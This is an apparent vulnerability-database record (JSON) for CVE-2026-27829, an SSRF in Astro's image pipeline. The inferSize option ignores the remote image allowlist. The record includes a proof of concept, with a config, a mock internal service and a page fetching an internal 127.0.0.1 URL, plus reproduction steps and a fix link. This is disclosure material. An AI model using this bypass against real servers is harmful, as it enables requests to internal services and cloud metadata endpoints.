{"id":"CVE-2026-27829","aliases":["GHSA-cj9f-h6r6-4cx2"],"url":"https://o3.security/vulnerability/CVE-2026-27829","summary":"Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize","details":"## Summary\n\nA bug in Astro's image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts.\n\n## Details\n\nAstro provides an `inferSize` option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the `image.domains` or `image.remotePatterns` options).\n\nHowever, when `inferSize` is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.\n\n## PoC\n\n

\n\n### Setup\n\nCreate a new Astro project with the following files:\n\n`package.json`:\n```json\n{\n \"name\": \"poc-ssrf-infersize\",\n \"private\": true,\n \"scripts\": {\n \"dev\": \"astro dev --port 4322\",\n \"build\": \"astro build\"\n },\n \"dependencies\": {\n \"astro\": \"5.17.2\",\n \"@astrojs/node\": \"9.5.3\"\n }\n}\n```\n\n`astro.config.mjs` — only `localhost:9000` is authorized:\n```javascript\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n output: 'server',\n adapter: node({ mode: 'standalone' }),\n image: {\n remotePatterns: [\n { hostname: 'localhost', port: '9000' }\n ]\n }\n});\n```\n\n`internal-service.mjs` — simulates an internal service on a non-allowlisted host (`127.0.0.1:8888`):\n```javascript\nimport { createServer } from 'node:http';\nconst GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');\ncreateServer((req, res) => {\n console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);\n res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });\n res.end(GIF);\n}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));\n```\n\n`src/pages/test.astro`:\n```astro\n---\nimport { getImage } from 'astro:assets';\n\nconst result = await getImage({\n src: 'http://127.0.0.1:8888/internal-api',\n inferSize: true,\n alt: 'test'\n});\n---\n\n

Width: {result.options.width}, Height: {result.options.height}

\n\n```\n\n### Steps to reproduce\n\n1. Run `npm install` and start the internal service:\n\n```bash\nnode internal-service.mjs\n```\n\n2. Start the dev server:\n\n```bash\nnpm run dev\n```\n\n3. Request the page:\n\n```bash\ncurl http://localhost:4322/test\n```\n\n4. `internal-service.mjs` logs `Received: GET /internal-api` — the request was sent to `127.0.0.1:8888` despite only `localhost:9000` being in the allowlist.\n\n

\n\n## Impact\n\nAllows bypassing `image.domains` / `image.remotePatterns` restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.","published":"2026-02-26T00:36:40.497Z","modified":"2026-08-12T03:51:42.027968638Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"},"epss":{"score":0.00281,"percentile":0.2003,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@astrojs/node","fixedVersion":"9.5.4"}],"fix":{"url":"https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9","label":"withastro/astro@e01e98b"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27829.json"},{"type":"ADVISORY","url":"https://github.com/withastro/astro/security/advisories/GHSA-cj9f-h6r6-4cx2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27829"},{"type":"FIX","url":"https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9"},{"type":"PACKAGE","url":"https://github.com/withastro/astro"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:42.027968638Z"}}